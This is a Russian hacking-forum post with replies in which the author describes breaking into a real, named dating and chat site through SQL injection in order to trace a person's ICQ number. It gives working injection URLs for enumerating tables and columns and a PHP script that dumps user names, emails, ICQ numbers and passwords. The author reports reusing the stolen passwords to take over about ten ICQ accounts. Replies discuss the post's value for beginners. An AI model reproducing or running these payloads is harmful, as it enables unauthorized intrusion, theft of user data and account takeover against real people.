Искал информацию о человеке - обладателе аськи, столь нужной мне. Нашел даже сайт, на котором он её получил в подарок: snegorod.com. Решил покопаться на сайте, нашел SQL-inj: http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,9,10,11/*&minrat=0&numofpage=13 Хмм, для начала неплохо. Постучался в information_schema, повезло Начал искать интересные таблицы: http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table_name,10,11+from+information_schema.tables+limit+i,1/*&minrat=0&numofpage=13 где i = 0,1,2 ... Из интересного нашлось: admins userinfo users Далее узнал, в каких базах данных находятся данные таблицы: http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table_schema,10,11+from+information_schema.tables+where+table_name='имя таблицы'/*&minrat=0&numofpage=13 (отмечу, что на сервере не экранировались кавычки, что придавало еще более комфортные условия ) В итоге я имел: dating.admins chat.userinfo dating.users Ну что ж, самое время узнать, что за поля прячутся в этих аппетитных табличках: http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,column_name,10,11+from+information_schema.columns+where+table_name='имя таблицы'+limit+i,1/*&minrat=0&numofpage=13 где i = 0,1,2 ... Через несколько минут, немного поработав пальчиками, в окне копии блокнота накопилась следующая инфа: --------------------------------- dating.admins -> ID NICK PASS RANG EMAIL LASTLOGIN IDUA --------------------------------- chat.userinfo -> id name realname email age city country url stuff photo_url icq_uin --------------------------------- dating.users -> ID NICK MPASS PASS DATEREG LASTLOGIN LASTACT ACTIVE HIDE VIEWS NGOL SGOL IPREG COMMENT golopen --------------------------------- Скажу сразу, что инфа, до которой я так упорно подкапывался, оказалась бесполезной. Ну и ладно , можно ведь вытащить базу юзеров и почекать аси/мыла. Как видно из структур таблиц, вся интересная инфа лежит в chat.userinfo (email, icq_uin), а пароль в dating.users. Ну и что? http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(chat.userinfo.name,';',chat.userinfo.email,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+limit+i,1/*&minrat=0&numofpage=13 где i = 0,1,2 ... Но вытаскивать записи по одной очень долго и нудно, поэтому я решил написать небольшой скрипт на PHP, который бы это делал за меня. Для начала, результат вывода инъекции я обрамил тэгом <1310></1310> (незнаю, почему этот, просто так захотелось), чтоб потом можно было этот самый результат найти среди груы HTML-мусора. PHP: <? if (!isset($_GET['start']) || !isset($_GET['end']) || $_GET['start'] > $_GET['end']) exit; $start = $_GET['start']; $end = $_GET['end']; $f = fopen('base.txt','a'); for ($i = $start; $i <= $end; $i++) { $s = file_get_contents("http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(char(0x3c,0x31,0x33,0x31,0x30,0x3e),chat.userinfo.name,';',chat.userinfo.email,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS,char(0x3c,0x2f,0x31,0x33,0x31,0x30,0x3e)),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+and+chat.userinfo.icq_uin>0+limit+$i,1/*&minrat=0&numofpage=13"); preg_match("/<1310>(.*)<\/1310>/",$s, $s2); fwrite($f, iconv("UTF-8", "CP1251", $s2[1]."\n")); } fclose($f); ?> Добавив условие chat.userinfo.icq_uin>0 прогнал скрипт, для начала, на параметрах ?start=0&end=100. Нашлось с десяток кривых девяток, к которым пароль сайта подходил. Мыла не проверял... Ну вот, собсна, и все. Удачного хака!
На самом деле да, похоже чувак не знает что information_schema на 5 ветке =))) Последний запрос выглядит очень красиво и супербесполезно! =) А так улыбнуло
Да знаю вроде, просто писатель никакой из меня Для новичков, практический пример. В совокупности с теорией, которой достаточно на форуме, должно дать неплохое представление о sql-inj. З.Ы, Всякие мелочи типа определение версии, подбора количества полей и т.д. в описании опустил (слишком банально).
Joker-jar. тебя не понять.. сначала гриш что для новичкоф а потом говоришь что упустил детали... Новички не поймут =))) А практике мало?
Ну раз уж на то пошло, так вся статья - банальна... Новички ничего не поймут это факт, а тем кто рубит это не интересно, таких историй почти каждый античатовец может рассказать вагон и мпленькую тележку
Моё имхо, что новичкам как раз не надо всё разжевывать, а надо давать пищу для размышлений, а если новичек хочет научица, он погуглит, выучит пару языков, ну даже если не языков, то хотябы ту базу, которая нужна для того, что его интересует. А если всё раскладывать по полочкам, то он так и будет думать прямолинейно. Чтобы научица хаку надо научица думать не по шаблону.
давайте все будем писать свой хеки ресурсов??? iv. +1. Многие так делаю в поисках скули, если им нравить сайт(или БД ценная) начинаю копать дальше! брд